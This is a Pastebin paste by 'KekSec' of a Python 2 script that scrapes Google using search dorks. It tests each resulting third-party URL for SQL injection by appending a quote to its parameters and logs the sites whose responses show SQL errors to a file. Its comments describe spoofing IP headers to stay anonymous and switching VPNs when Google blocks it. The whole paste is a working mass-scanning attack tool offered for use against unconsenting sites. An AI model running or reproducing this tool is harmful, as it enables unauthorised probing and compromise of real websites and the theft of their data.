Advertisement
KekSec

SQLi DORKER FOR 2020 [ADVANCED V1.1.7]

Jun 2nd, 2020
1,114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.27 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Basic SQLi auto dorker and checker
  3. #coded by Freak/SynthMesc
  4. #Version 1.1.7
  5. #updated for 2020
  6. import urllib2,urllib,sys,re,random,string,time,threading
  7. try:
  8.     dorklist=sys.argv[1]
  9. except:
  10.     print "Usage: "+sys.argv[0]+" [DORK LIST]" #Simple usage for the skids out ther ^_^
  11.     exit(1)
  12. def randomIP():
  13.     return '.'.join('%s'%random.randint(0, 255) for i in range(4)) #Generate random IP for false headers
  14. def test(target,testchar):
  15.     try:
  16.         opener = urllib2.build_opener()
  17.         opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent.
  18.         opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous.
  19.         opener.addheaders = [('REMOTE-ADDR',randomIP())]
  20.         opener.addheaders = [('VIA',randomIP())]
  21.         opener.addheaders = [('X-FORWARDED-FOR',randomIP())]
  22.         keywords=["SQL", "Warning", "Syntax"]
  23.         doit = 0
  24.         if "?" not in target and "=" not in target:
  25.             return
  26.         for testparam in target.replace("?", "&").split("&"):
  27.             if doit != 0 and testparam != "":
  28.                 targettest = target.replace(testparam.split("=")[1], testparam.split("=")[1]+testchar)
  29.             else:
  30.                 doit=1
  31.                 continue
  32.                
  33.            
  34.             print "[+] Trying "+targettest
  35.             try:
  36.                 resp=opener.open(targettest,timeout=5)
  37.             except Exception, e:
  38.                 print "[-] "+str(e)
  39.                 return
  40.             for keyword in keywords:
  41.                 try:
  42.                     for x in resp.read().split(" "):
  43.                         if keyword in x:
  44.                             print "[+] Found keyword '"+keyword+"' at "+target+testchar
  45.                             f=open("SQLi_Vulnerable.txt","a")
  46.                             f.write(targettest+"\r\n")
  47.                             f.close()
  48.                             break
  49.                 except urllib2.HTTPError as e:
  50.                     print "[-] "+str(e)
  51.                     pass
  52.     except urllib2.URLError as e:
  53.         print "[-] "+str(e)
  54.         pass
  55. def spyder(dork,page):
  56.     searchresults=""
  57.     opener = urllib2.build_opener()
  58.     opener.addheaders = [('User-agent','Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent.
  59.     opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous.
  60.     opener.addheaders = [('REMOTE-ADDR',randomIP())]
  61.     opener.addheaders = [('VIA',randomIP())]
  62.     opener.addheaders = [('X-FORWARDED-FOR',randomIP())]
  63.     opener.addheaders = [('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')]
  64.     opener.addheaders = [('Accept-Language','en-US,en;q=0.5')]
  65.     opener.addheaders = [('Accept-Encoding','gzip, deflate')]
  66.     opener.addheaders = [('Referer',dork)]
  67.     try:
  68.         searchresults=opener.open(dork,timeout=5).read()
  69.     except Exception, e:
  70.         print "[-] "+str(e)
  71.         print "[-] Bot has been blocked from google!!! Change VPN server or proxy! Press enter to continue"
  72.         raw_input()
  73.         spyder(dork, page)
  74.     if searchresults == "":
  75.         print "[-] "+str(e)
  76.         print "[-] Bot has been blocked from google!!! Change VPN server or proxy! Press enter to continue"
  77.         raw_input()
  78.         spyder(dork, page)
  79.     for i in re.findall('''href=["'](.[^"']+)["']''',searchresults, re.I):
  80.         i=i.replace("amp;",'')
  81.         if "start="+str(page)+"0" in i and i.startswith("/search"):
  82.             dorkurl="http://www.google.com"+i
  83.             print "[+] Searching next page "+dorkurl
  84.             spyder(dorkurl,page)
  85.             page+=1
  86.         i=urllib2.unquote(i).decode('utf8')
  87.         try:
  88.             i=i.split("?q=")[1]
  89.             i=i.split("&sa=")[0]
  90.             if i.startswith("http"):
  91.                     if 'google' in i:
  92.                         continue
  93.                     elif i!=dork.decode('utf8'):
  94.                         threading.Thread(target=test, args=(i,"%27",)).start()
  95.         except Exception as e:
  96. #            print(str(e))
  97.             continue
  98. f=open(dorklist,"r")
  99. for dork in f.read().split("\n"):
  100.     print "[+] Searching for dork: '"+dork+"'"
  101.     spyder('http://www.google.com/search?hl=en&q='+urllib.quote_plus(dork),1)
  102. f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement